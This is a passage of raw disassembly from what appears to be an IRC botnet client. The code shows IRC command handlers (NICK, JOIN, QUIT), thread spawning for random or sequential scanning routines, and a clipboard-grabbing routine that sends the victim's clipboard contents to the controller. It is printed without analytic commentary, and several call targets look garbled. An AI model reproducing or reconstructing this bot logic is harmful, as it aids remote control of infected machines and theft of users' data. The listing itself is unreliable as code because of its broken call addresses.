		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_412FD2
; ---------------------------------------------------------------------------

loc_413B34:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0CB3h
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	dword_43F700
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450D4[eax]
		nop
		call	near ptr 279088Dh
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	dword_4450D4[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_444EC0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413BDD:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C1B
		call	sub_416F25
		cmp	eax, ebx
		jle	short loc_413C11
		push	eax
		push	offset dword_435E4C

loc_413BFD:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0

loc_413C09:				; CODE XREF: sub_40EE72+3CA6j
		add	esp, 0Ch
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_413C11:				; CODE XREF: sub_40EE72+4D83j
		push	offset dword_435E14
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_413C1B:				; CODE XREF: sub_40EE72+4D7Aj
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax

loc_413C37:				; CODE XREF: sub_40EE72+4E36j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E97
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5E
		push	offset dword_435DE0
		jmp	short loc_413C63
; ---------------------------------------------------------------------------

loc_413C5E:				; CODE XREF: sub_40EE72+4DE3j
		push	offset dword_435DA4

loc_413C63:				; CODE XREF: sub_40EE72+4DEAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C93
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_413C93:				; CODE XREF: sub_40EE72+4E03j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C37
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413CAF:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_435D7C
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413CE9:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_436710
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435D4C
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D05:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_435D1C
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D28:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435CE8
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413D44:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx

loc_413D5B:				; CODE XREF: sub_40EE72+4EF1j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D5B
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx

loc_413D70:				; CODE XREF: sub_40EE72+51BCj
		push	8
		call	sub_416FA4
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413DBF
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_437024
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414025
; ---------------------------------------------------------------------------

loc_413DBF:				; CODE XREF: sub_40EE72+4F18j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+var_318], 14h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 140h
		mov	[ebp+arg_0], ebx
		jz	short loc_413E30
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]

loc_413DFA:				; CODE XREF: sub_40EE72+4FA0j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E16
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DFA
		jmp	short loc_413E30
; ---------------------------------------------------------------------------

loc_413E16:				; CODE XREF: sub_40EE72+4F96j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_413E30:				; CODE XREF: sub_40EE72+4F7Bj
					; sub_40EE72+4FA2j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43F60C
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED2

loc_413EB0:				; CODE XREF: sub_40EE72+505Ej
		cmp	eax, ebx
		jz	short loc_413ED2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EB0

loc_413ED2:				; CODE XREF: sub_40EE72+503Cj
					; sub_40EE72+5040j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		mov	edi, offset aF	; "#f"
		push	offset byte_43C80C
		push	edi
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3C
		push	edi
		lea	eax, [ebp+var_3B4]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F42
; ---------------------------------------------------------------------------

loc_413F3C:				; CODE XREF: sub_40EE72+50B1j
		mov	[ebp+var_3B4], bl

loc_413F42:				; CODE XREF: sub_40EE72+50C8j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F54
		mov	eax, offset aSequential	; "Sequential"

loc_413F54:				; CODE XREF: sub_40EE72+50DBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435C70
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413FDE

loc_413FCC:				; CODE XREF: sub_40EE72+516Aj
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF9
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_413FCC
; ---------------------------------------------------------------------------

loc_413FDE:				; CODE XREF: sub_40EE72+5158j
		nop
		call	near ptr 2610941h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F14
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_413FF9:				; CODE XREF: sub_40EE72+5160j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414018
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414018:				; CODE XREF: sub_40EE72+518Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_414025:				; CODE XREF: sub_40EE72+4F48j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_413D70
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_414039:				; CODE XREF: sub_40EE72+310Aj
					; sub_40EE72+4FC4j
		push	offset unk_435C2C
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_414043:				; CODE XREF: sub_40EE72+1921j
					; sub_40EE72+1936j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	offset unk_435BF4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_409037
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4140DC

loc_4140C9:				; CODE XREF: sub_40EE72+5268j
		cmp	[ebp+var_18], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_4140C9
; ---------------------------------------------------------------------------

loc_4140DC:				; CODE XREF: sub_40EE72+5255j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_435BA8
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_4140ED:				; CODE XREF: sub_40EE72+18F7j
					; sub_40EE72+190Cj
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414103
		push	offset unk_435B7C
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_414103:				; CODE XREF: sub_40EE72+5285j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414126
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41413A
; ---------------------------------------------------------------------------

loc_414126:				; CODE XREF: sub_40EE72+529Aj
		mov	edi, 104h
		lea	eax, [ebp+var_7FC]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2620000h

loc_41413A:				; CODE XREF: sub_40EE72+52B2j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_41414A
		mov	esi, offset byte_42F674

loc_41414A:				; CODE XREF: sub_40EE72+52D1j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	edi
		push	eax
		call	sub_41782A
		mov	eax, dword_42F5AC
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F0], ebx
		mov	[ebp+var_800], eax
		lea	eax, [ebp+var_5E8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_41421D

loc_414207:				; CODE XREF: sub_40EE72+53A9j
		cmp	[ebp+var_560], ebx
		jnz	loc_410E57
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_414207
; ---------------------------------------------------------------------------

loc_41421D:				; CODE XREF: sub_40EE72+5393j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset unk_435B34
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_41422E:				; CODE XREF: sub_40EE72+18CDj
					; sub_40EE72+18E2j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_41424D
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_414252
; ---------------------------------------------------------------------------

loc_41424D:				; CODE XREF: sub_40EE72+53C5j
					; sub_40EE72+53D0j
		mov	eax, dword_42F5B0

loc_414252:				; CODE XREF: sub_40EE72+53D9j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414285
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4142B0
; ---------------------------------------------------------------------------

loc_414285:				; CODE XREF: sub_40EE72+5400j
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		call	near ptr 25E0000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4192B8
		add	esp, 14h

loc_4142B0:				; CODE XREF: sub_40EE72+5411j
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_4142DB
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_681], bl

loc_4142DB:				; CODE XREF: sub_40EE72+5453j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], edi
		push	eax
		push	[ebp+var_57C]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414393

loc_41437D:				; CODE XREF: sub_40EE72+551Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_41437D
; ---------------------------------------------------------------------------

loc_414393:				; CODE XREF: sub_40EE72+5509j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_435AEC
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_4143A4:				; CODE XREF: sub_40EE72+18A3j
					; sub_40EE72+18B8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jz	short loc_4143C3
		push	edi
		call	sub_41781F
		pop	ecx
		jmp	short loc_4143C8
; ---------------------------------------------------------------------------

loc_4143C3:				; CODE XREF: sub_40EE72+553Bj
					; sub_40EE72+5546j
		mov	eax, dword_42F5B4

loc_4143C8:				; CODE XREF: sub_40EE72+554Fj
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jnz	short loc_4143DF
		lea	eax, [ebp+var_D8]

loc_4143DF:				; CODE XREF: sub_40EE72+5565j
		push	eax
		lea	eax, [ebp+var_6B8]
		push	40h
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_414401
		mov	esi, offset byte_43C80C

loc_414401:				; CODE XREF: sub_40EE72+5588j
		push	esi
		lea	eax, [ebp+var_678]
		push	100h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_738]
		push	[ebp+var_8C]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6B8]
		push	eax
		mov	[ebp+var_73C], esi
		push	[ebp+var_578]
		mov	[ebp+var_568], edi
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435AA0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	6
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_73C]
		push	ebx
		push	eax
		push	offset word_41570E
		push	ebx
		push	ebx
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4144CA

loc_4144B8:				; CODE XREF: sub_40EE72+5656j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4144E5
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_4144B8
; ---------------------------------------------------------------------------

loc_4144CA:				; CODE XREF: sub_40EE72+5644j
		call	near ptr 2610941h
		nop
		push	eax
		push	offset dword_435A54

loc_4144D6:				; CODE XREF: sub_40EE72+3627j
					; sub_40EE72+3724j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4144E5:				; CODE XREF: sub_40EE72+360Bj
					; sub_40EE72+3708j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	edi
		jmp	loc_411D2F
; ---------------------------------------------------------------------------

loc_4144F5:				; CODE XREF: sub_40EE72+1879j
					; sub_40EE72+188Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414508
		push	esi
		call	sub_41781F
		jmp	short loc_41450F
; ---------------------------------------------------------------------------

loc_414508:				; CODE XREF: sub_40EE72+568Cj
		push	8
		call	sub_416FC3

loc_41450F:				; CODE XREF: sub_40EE72+5694j
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071DB

loc_41452A:				; CODE XREF: sub_40EE72+5B67j
		add	esp, 10h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_414532:				; CODE XREF: sub_40EE72+184Fj
					; sub_40EE72+1864j
		mov	eax, dword_43F590
		cmp	eax, ebx
		jz	short loc_41454F
		call	eax
		test	eax, eax
		jz	short loc_414548
		push	offset unk_435A20
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414548:				; CODE XREF: sub_40EE72+56CDj
		push	offset unk_4359E4
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_41454F:				; CODE XREF: sub_40EE72+56C7j
		push	offset unk_4359A8
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414556:				; CODE XREF: sub_40EE72+1825j
					; sub_40EE72+183Aj
		call	sub_40AE02
		test	eax, eax
		jz	short loc_41457A
		push	offset unk_435974

loc_414564:				; CODE XREF: sub_40EE72+4AFEj
					; sub_40EE72+56D4j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_4110BD
; ---------------------------------------------------------------------------

loc_41457A:				; CODE XREF: sub_40EE72+56EBj
		push	offset unk_435938
		jmp	short loc_414564
; ---------------------------------------------------------------------------

loc_414581:				; CODE XREF: sub_40EE72+17FBj
					; sub_40EE72+1810j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4145A0
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_4145A0:				; CODE XREF: sub_40EE72+5712j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AABF
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	offset dword_4358F8

loc_4145BD:				; CODE XREF: sub_40EE72+5A09j
					; sub_40EE72+5A3Bj
		call	sub_40BF6D
		add	esp, 18h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4145CA:				; CODE XREF: sub_40EE72+171Cj
					; sub_40EE72+1731j
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_4145DD
		push	offset dword_4358C0
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145DD:				; CODE XREF: sub_40EE72+5762j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4145F9
		push	offset dword_435888
		jmp	short loc_4145FE
; ---------------------------------------------------------------------------

loc_4145F9:				; CODE XREF: sub_40EE72+577Ej
		push	offset dword_435858

loc_4145FE:				; CODE XREF: sub_40EE72+2C51j
					; sub_40EE72+2D87j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41460C:				; CODE XREF: sub_40EE72+15C6j
					; sub_40EE72+2D61j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]

loc_414619:				; CODE XREF: sub_40EE72+3963j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]

loc_414629:				; CODE XREF: sub_40EE72+2ECBj
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414E11
; ---------------------------------------------------------------------------

loc_414636:				; CODE XREF: sub_40EE72+16F2j
					; sub_40EE72+1707j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A4AC
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41464F:				; CODE XREF: sub_40EE72+16C8j
					; sub_40EE72+16DDj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D320
		jmp	loc_40F236
; ---------------------------------------------------------------------------

loc_41466C:				; CODE XREF: sub_40EE72+169Ej
					; sub_40EE72+16B3j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 25D05AFh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_414695
		push	esi
		call	sub_41781F
		pop	ecx
		mov	edi, eax

loc_414695:				; CODE XREF: sub_40EE72+5818j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4146AE
		cmp	edi, 0FFFFFFFFh
		jnz	loc_414F47

loc_4146AE:				; CODE XREF: sub_40EE72+5831j
		push	ebx
		call	sub_40B721
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_435830
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		jmp	loc_411A5D
; ---------------------------------------------------------------------------

loc_4146F1:				; CODE XREF: sub_40EE72+1674j
					; sub_40EE72+1689j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408C26
		add	esp, 0Ch
		push	offset unk_435800
		jmp	loc_410D38
; ---------------------------------------------------------------------------

loc_41470F:				; CODE XREF: sub_40EE72+164Aj
					; sub_40EE72+165Fj
		push	1Fh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_414738
		cmp	[ebp+var_8], ebx
		jnz	loc_40F239
		push	ebx
		push	[ebp+var_4]
		push	offset unk_4357CC
		push	[ebp+var_8C]
		jmp	loc_40F7A0
; ---------------------------------------------------------------------------

loc_414738:				; CODE XREF: sub_40EE72+58A7j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_414799
		push	esi
		push	offset aFull	; "full"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414799
		mov	[ebp+var_46C], 1

loc_414799:				; CODE XREF: sub_40EE72+590Aj
					; sub_40EE72+591Bj
		lea	eax, [ebp+var_2DC]
		push	offset dword_435794
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_41533B
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_414807

loc_4147F1:				; CODE XREF: sub_40EE72+5993j
		cmp	[ebp+var_460], ebx
		jnz	loc_414E11
		push	32h
		call	near ptr 25D0CB3h
		nop
		jmp	short loc_4147F1
; ---------------------------------------------------------------------------

